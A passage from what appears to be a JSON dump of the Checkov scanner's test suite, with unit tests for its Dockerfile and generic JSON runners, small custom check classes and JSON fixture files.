use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.DOCKERFILE: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=filter)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n    def test_runner_failing_check_with_file_path(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_file_path = current_dir + \"/resources/expose_port/fail/Dockerfile\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            files=[valid_file_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_DOCKER_1\"]),\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/pass\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"all\"],checks=[\"CKV_DOCKER_1\", \"CKV2_DOCKER_1\"]))\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n        #  also check the abs file paths\n        record_python = next(check for check in report.passed_checks if check.check_id == \"CKV_DOCKER_1\")\n        assert record_python.file_abs_path.endswith(\"tests/dockerfile/resources/expose_port/pass/Dockerfile\")\n        record_graph = next(check for check in report.passed_checks if check.check_id == \"CKV2_DOCKER_1\")\n        assert record_graph.file_abs_path.endswith(\"tests/dockerfile/resources/expose_port/pass/Dockerfile\")\n\n    def test_runner_skip_check(self):\n        #  given\n        valid_dir_path = Path(__file__).parent / \"resources/expose_port/skip\"\n\n        # when\n        report = Runner(db_connector=self.db_connector()).run(\n            root_folder=str(valid_dir_path),\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(\n                framework=[\"dockerfile\"],\n                checks=[\"CKV_DOCKER_1\", \"CKV_DOCKER_5\", \"CKV_DOCKER_9\", \"CKV2_DOCKER_7\"],\n            ),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 3)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        expected_skipped_cehcks = [record.check_id for record in report.skipped_checks]\n        self.assertCountEqual([\"CKV_DOCKER_1\", \"CKV_DOCKER_5\", \"CKV2_DOCKER_7\"], expected_skipped_cehcks)\n\n    def test_record_has_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseDockerfileCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"RUN\"]\n                )\n\n            def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str):\n                return CheckResult.FAILED, conf[0]\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', checks=[custom_check_id]))\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_runner_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseDockerfileCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"RUN\"]\n                )\n\n            def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str):\n                return CheckResult.FAILED, conf[0]\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', checks=['MEDIUM']))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_severity_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseDockerfileCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"RUN\"]\n                )\n\n            def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str):\n                return CheckResult.FAILED, conf[0]\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', checks=['CRITICAL']))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_skip_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseDockerfileCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"RUN\"]\n                )\n\n            def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str):\n                return CheckResult.FAILED, conf[0]\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', checks=['MEDIUM']))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_skip_severity_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseDockerfileCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"RUN\"]\n                )\n\n            def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str):\n                return CheckResult.FAILED, conf[0]\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/expose_port/fail\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', skip_checks=['MEDIUM']))\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_skip_wildcard_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/wildcard_skip\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['dockerfile']))\n        self.assertEqual(len(report.skipped_checks), 1)\n        self.assertGreaterEqual(len(report.passed_checks), 1)\n        self.assertGreaterEqual(len(report.failed_checks), 2)\n\n    def test_wrong_check_imports(self):\n        wrong_imports = [\"arm\", \"cloudformation\", \"helm\", \"kubernetes\", \"serverless\", \"terraform\"]\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    wrong_import = next((import_name for x in wrong_imports if x in import_name), None)\n                    if wrong_import:\n                        check_imports.append({file.name: wrong_import})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    def test_get_files_definitions(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dockerfile = current_dir + \"/resources/name_variations/Dockerfile.prod\"\n        not_valid_dockerfile = current_dir + \"/resources/not_dockerfile/dockerfile.png\"\n        results = get_files_definitions([valid_dockerfile, not_valid_dockerfile])\n        assert len(results) == 2\n        assert len(results[0]) == 1 and list(results[0].keys())[0] == valid_dockerfile\n        assert len(results[1]) == 1 and list(results[1].keys())[0] == valid_dockerfile\n\n    def test_runner_extra_resources(self):\n        # given\n        test_file = RESOURCES_DIR / \"name_variations/Dockerfile.prod\"\n\n        # when\n        report = Runner(db_connector=self.db_connector()).run(\n            files=[str(test_file)],\n            runner_filter=RunnerFilter(framework=['dockerfile'], checks=[\"CKV_DOCKER_4\"])  # chose a check, which will find nothing\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 0)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 1)\n\n        self.assertEqual(len(report.extra_resources), 1)\n        extra_resource = next(iter(report.extra_resources))\n        self.assertEqual(extra_resource.file_abs_path, str(test_file))\n        self.assertTrue(extra_resource.file_path.endswith(\"Dockerfile.prod\"))\n\n    def test_runner_multiline(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/multiline_command\"\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='dockerfile', checks=['CKV_DOCKER_9']))\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n\n    def tearDown(self) -> None:\n        registry.checks = self.orig_checks\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/dockerfile/test_utils.py",
    "content": "from operator import itemgetter\nfrom pathlib import Path\n\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.dockerfile.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.dockerfile.utils import get_files_definitions, build_definitions_context\n\nVALID_DOCKERFILE_NAMES = [\n    \"Dockerfile\",\n    \"dockerfile\",\n    \"Dockerfile.prod\",\n    \"Dockerfile.Product1\",\n    \"dev.Dockerfile\",\n    \"team1.product.dockerfile\",\n]\nINVALID_DOCKERFILE_NAMES = [\n    \"package.json\",\n    \"dockerfil\",\n    \"dockerfilee\",\n    \".dockerfile\",\n    \"ddockerfile\",\n    \"ockerfile\",\n    \"docker-file\",\n    \"dockerfile1\",\n    \"Dockerfile.env.dockerignore\",\n    \"Dockerfile.env.Dockerignore\",\n    \"dockerfile.dockerignore\",\n]\n\n\ndef test_is_dockerfile():\n    assert all(is_dockerfile(curr_name) for curr_name in VALID_DOCKERFILE_NAMES)\n    assert all(not is_dockerfile(curr_name) for curr_name in INVALID_DOCKERFILE_NAMES)\n\n\ndef test_build_definitions_context():\n    # given\n    file_path = Path(__file__).parent / \"resources/expose_port/skip/Dockerfile\"\n    definitions, definitions_raw = get_files_definitions(files=[str(file_path)])\n\n    # when\n    context = build_definitions_context(definitions=definitions, definitions_raw=definitions_raw)\n\n    assert len(context) == 1\n\n    definition_context = next(iter(context.values()))\n    assert len(definition_context) == 4\n\n    run_instructions = definition_context[ResourceType.RUN]\n    assert len(run_instructions) == 1\n    run_instruction = run_instructions[0]\n    assert run_instruction[\"start_line\"] == 4\n    assert run_instruction[\"end_line\"] == 4\n    assert run_instruction[\"code_lines\"] == [(4, \"RUN apk --no-cache add nginx\\n\")]\n\n    for skip in run_instruction[\"skipped_checks\"]:\n        skip.pop(\"bc_id\", None)  # depending on the test order they are set or not\n\n    assert sorted(run_instruction[\"skipped_checks\"], key=itemgetter(\"id\")) == sorted(\n        [\n            {\"id\": \"CKV_DOCKER_1\", \"line_number\": 5, \"suppress_comment\": \" required\"},\n            {\"id\": \"CKV_DOCKER_5\", \"line_number\": 0, \"suppress_comment\": \" no need to skip\"},\n            {\"id\": \"CKV2_DOCKER_7\", \"line_number\": 1, \"suppress_comment\": \" no need to skip graph check\"},\n        ],\n        key=itemgetter(\"id\"),\n    )\n"
  },
  {
    "path": "tests/generic_json/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/checks/array/BarAndBazToggleIsTrue.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass BarAndBazToggleIsTrue(BaseJsonCheck):\n    def __init__(self):\n        name = \"A bar should have toggle set to true\"\n        id = \"CKV_BARBAZ_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"bar\", \"baz\"],\n            block_type=BlockType.ARRAY\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"toggle\" in conf and conf[\"toggle\"]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = BarAndBazToggleIsTrue()\n"
  },
  {
    "path": "tests/generic_json/checks/array/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/checks/complex/ValueIsAtLeastTwo.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass ValueIsAtLeastTwo(BaseJsonCheck):\n    def __init__(self):\n        name = \"Ensure that an object has a value >= 2\"\n        id = \"CKV_COMPLEX_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"prop_is_array_of_object\"],\n            block_type=BlockType.ARRAY,\n            path=\"array_of_objects\"\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        for obj in conf:\n            if obj[\"value\"] < 2:\n                return CheckResult.FAILED, obj\n        return CheckResult.PASSED\n\n\ncheck = ValueIsAtLeastTwo()\n"
  },
  {
    "path": "tests/generic_json/checks/complex/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/checks/object/FooExists.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass FooExists(BaseJsonCheck):\n    def __init__(self):\n        name = \"Ensure that a foo object is present\"\n        id = \"CKV_FOO_2\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"foo\" in conf:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = FooExists()\n"
  },
  {
    "path": "tests/generic_json/checks/object/PropHasValue.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass PropHasValue(BaseJsonCheck):\n    def __init__(self):\n        name = (\n            \"Ensure that a foo object has a property named prop with a value of value\"\n        )\n        id = \"CKV_FOO_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"foo\"],\n            block_type=BlockType.OBJECT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"prop\" in conf and conf[\"prop\"] == \"value\":\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PropHasValue()\n"
  },
  {
    "path": "tests/generic_json/checks/object/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/checks/result_config/FullEvaluatedKey.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass FullEvaluatedKey(BaseJsonCheck):\n    def __init__(self):\n        name = \"Ensure that the right configuration block is returned for an evaluated_key that points to an object\"\n        id = \"CKV_RESULT_CONFIG_3\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['required_pull_request_reviews/dismissal_restrictions/url']\n\n\ncheck = FullEvaluatedKey()\n"
  },
  {
    "path": "tests/generic_json/checks/result_config/NoEvaluatedKey.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass NoEvaluatedKey(BaseJsonCheck):\n    def __init__(self):\n        name = \"Ensure that entire conf is returned for empty evaluated key\"\n        id = \"CKV_RESULT_CONFIG_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        return CheckResult.PASSED\n\n\ncheck = NoEvaluatedKey()\n"
  },
  {
    "path": "tests/generic_json/checks/result_config/PartialEvaluatedKey.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.base_json_check import BaseJsonCheck\nfrom checkov.json_doc.enums import BlockType\n\n\nclass PartialEvaluatedKey(BaseJsonCheck):\n    def __init__(self):\n        name = \"Ensure that the closest parent configuration block is returned for an evaluated key path that points\" \\\n               \"to a string\"\n        id = \"CKV_RESULT_CONFIG_2\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['required_pull_request_reviews/dismissal_restrictions/users']\n\n\ncheck = PartialEvaluatedKey()\n"
  },
  {
    "path": "tests/generic_json/checks/result_config/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_json/resources/array/fail/allFalse.json",
    "content": "[\n    {\n        \"bar\": {\n            \"toggle\": false\n        }\n    },\n    {\n        \"bar\": {\n            \"toggle\": false\n        },\n        \"baz\": {\n            \"toggle\": false\n        }\n    }\n]"
  },
  {
    "path": "tests/generic_json/resources/array/fail/oneFalse.json",
    "content": "[\n    {\n        \"bar\": {\n            \"toggle\": true\n        }\n    },\n    {\n        \"bar\": {\n            \"toggle\": true\n        },\n        \"baz\": {\n            \"toggle\": false\n        }\n    }\n]"
  },
  {
    "path": "tests/generic_json/resources/array/pass/pass.json",
    "content": "[\n    {\n        \"bar\": {\n            \"toggle\": true\n        }\n    },\n    {\n        \"bar\": {\n            \"toggle\": true\n        },\n        \"baz\": {\n            \"toggle\": true\n        }\n    }\n]"
  },
  {
    "path": "tests/generic_json/resources/complex/fail/fail.json",
    "content": "{\n    \"array_of_objects\": [\n        {\n            \"id\": 1,\n            \"prop_is_array_of_object\": [\n                {\n                    \"name\": \"foo\",\n                    \"value\": 3\n                },\n                {\n                    \"name\": \"bar\",\n                    \"value\": 0\n                }\n            ]\n        },\n        {\n            \"id\": 2,\n            \"prop_is_array_of_object\": [\n                {\n                    \"name\": \"baz\",\n                    \"value\": 2\n                }\n            ]\n        }\n    ]\n}"
  },
  {
    "path": "tests/generic_json/resources/complex/pass/pass.json",
    "content": "{\n    \"array_of_objects\": [\n        {\n            \"id\": 1,\n            \"prop_is_array_of_object\": [\n                {\n                    \"name\": \"foo\",\n                    \"value\": 3\n                },\n                {\n                    \"name\": \"bar\",\n                    \"value\": 2\n                }\n            ]\n        },\n        {\n            \"id\": 2,\n            \"prop_is_array_of_object\": [\n                {\n                    \"name\": \"baz\",\n                    \"value\": 2\n                }\n            ]\n        }\n    ]\n}"
  },
  {
    "path": "tests/generic_json/resources/object/fail/noFoo.json",
    "content": "{\n    \"bar\": \"oops\"\n}"
  },
  {
    "path": "tests/generic_json/resources/object/fail/noProp.json",
    "content": "{\n    \"foo\": {\n        \"other\": \"bar\"\n    }\n}"
  },
  {
    "path": "tests/generic_json/resources/object/fail/noValue.json",
    "content": "{\n    \"foo\": {\n        \"prop\": \"other\"\n    }\n}"
  },
  {
    "path": "tests/generic_json/resources/object/pass/pass.json",
    "content": "{\n    \"foo\": {\n        \"prop\": \"value\",\n        \"otherProp\": \"otherValue\"\n    }\n}"
  },
  {
    "path": "tests/generic_json/resources/result_config/github_config.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection\",\n  \"required_status_checks\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks\",\n    \"contexts\": [\n      \"continuous-integration/travis-ci\"\n    ],\n    \"contexts_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks/contexts\",\n    \"enforcement_level\": \"non_admins\"\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins\",\n    \"enabled\": true\n  },\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_pull_request_reviews\",\n    \"dismissal_restrictions\": {\n      \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions\",\n      \"users\": [\n        {\n          \"login\": \"octocat\",\n          \"id\": 1,\n          \"url\": \"https://api.github.com/users/octocat\"\n        }\n      ],\n      \"teams\": [\n        {\n          \"id\": 1,\n          \"node_id\": \"MDQ6VGVhbTE=\"\n        }\n      ]\n    },\n    \"dismiss_stale_reviews\": true,\n    \"require_code_owner_reviews\": true,\n    \"required_approving_review_count\": 2\n  },\n  \"restrictions\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions\",\n    \"users\": [\n      {\n        \"login\": \"octocat\",\n        \"id\": 1\n      }\n    ],\n    \"teams\": [\n      {\n        \"id\": 1,\n        \"node_id\": \"MDQ6VGVhbTE=\"\n      }\n    ],\n    \"apps\": [\n      {\n        \"id\": 1,\n        \"slug\": \"octoapp\",\n        \"node_id\": \"MDExOkludGVncmF0aW9uMQ==\",\n        \"owner\": {\n          \"login\": \"github\",\n          \"id\": 1\n        },\n        \"permissions\": {\n          \"metadata\": \"read\"\n        },\n        \"events\": [\n          \"push\"\n        ]\n      }\n    ]\n  },\n  \"required_linear_history\": {\n    \"enabled\": true\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": true\n  },\n  \"allow_deletions\": {\n    \"enabled\": true\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": true\n  }\n}\n"
  },
  {
    "path": "tests/generic_json/test_runner.py",
    "content": "import os\nimport unittest\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.json_doc.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.json_doc.registry import registry\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.JSON)\n\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        checks = [\"CKV_FOO_1\", \"CKV_FOO_2\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['json'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.JSON: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        report.print_console()\n\n    def test_runner_object_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_FOO_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_array_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"array\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"array\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=[\"CKV_BARBAZ_1\"])\n        )\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_array_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"array\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"array\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_BARBAZ_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_complex_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"complex\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"complex\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=[\"CKV_COMPLEX_1\"])\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_complex_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"complex\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"complex\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_COMPLEX_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        